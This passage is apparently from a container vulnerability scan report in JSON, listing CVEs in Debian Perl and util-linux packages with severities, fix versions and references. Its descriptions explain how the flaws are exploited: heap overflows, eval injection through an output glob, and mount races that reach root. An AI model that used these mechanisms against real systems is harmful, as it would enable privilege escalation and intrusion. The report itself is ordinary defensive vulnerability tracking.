builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:51a2bda86565d95656bf89f0fd58a93a2a1cd8ea8e040d657d8e36514b5b5a1b", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d9428d82c1d95ec7f818f1202eed6c03f0fa797af446b61dd691f34bc62934af", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36aafa832919c8c4e91f91642eb6aee7096b03b2aaeb860cc21eaab572ea50a2", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1f5b71fd491f042e4ee71543a09cfa81420613e94f5bba18a177acc3a062d44d", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.3", "UID": "b98042a0c1d11b1e" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e588eaeac58902fd9c636cc4a5aeaaf9850edc370d5a8b3b8be0013b399c9c63", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35c9fe9af10b1700d3da598a4e388ee7bc0492730d83f38ad94feafbb0ce39c3", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c52b4a83d863e43c7c082d878591699faa0492fceeec782165c63e7a4bfb50b", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7aa441a378dcee23d83ff167e5394db7bc689d258e1bf9f20d03b7da000129c9", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libsmartcols1@2.41-5", "PkgName": "libsmartcols1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libsmartcols1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "cfae7d67f8245164" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": 